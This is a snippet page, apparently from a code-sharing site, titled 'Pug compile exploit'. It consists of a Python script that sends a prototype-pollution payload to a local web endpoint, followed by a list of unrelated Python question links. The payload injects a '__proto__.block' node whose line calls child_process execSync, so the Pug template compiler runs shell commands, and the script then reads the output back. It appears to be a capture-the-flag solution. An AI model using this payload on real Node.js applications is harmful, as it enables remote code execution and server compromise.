Pug compile exploit

import requests

ENDPOINT = 'http://127.0.0.1:1337/api/submit'
OUTPUT = 'http://127.0.0.1:1337/static/out'

request = requests.post(ENDPOINT, json = {
   "artist.name":"Gingell",
       "__proto__.block": {
           "type":"Text",
           "line":"process.mainModule.require('child_process').execSync('ls > /app/static/out')"
       }
})
print (request.text)
print (requests.get(OUTPUT).text)

Similar codes

0 vote186 views9 answers
Args in python
Python
0 vote206 views1 answer
How to show rosbag file python
Python
1 vote169 views1 answer
Python Split a file path into root and extension
Python
1 vote183 views1 answer
Django datetimefield default
Python
0 vote196 views1 answer
Higher-order functions and operations on callable objects in python
Python
1 vote198 views5 answers
Convert html to python
Python
0 vote195 views1 answer
How to add previous and next in tkinter in python
Python
-1 vote202 views1 answer
Negate an int in python
Python
0 vote196 views1 answer
Timestamp to date time till milliseconds python
Python
17 votes185 views4 answers
Inverse matrix numpy
Python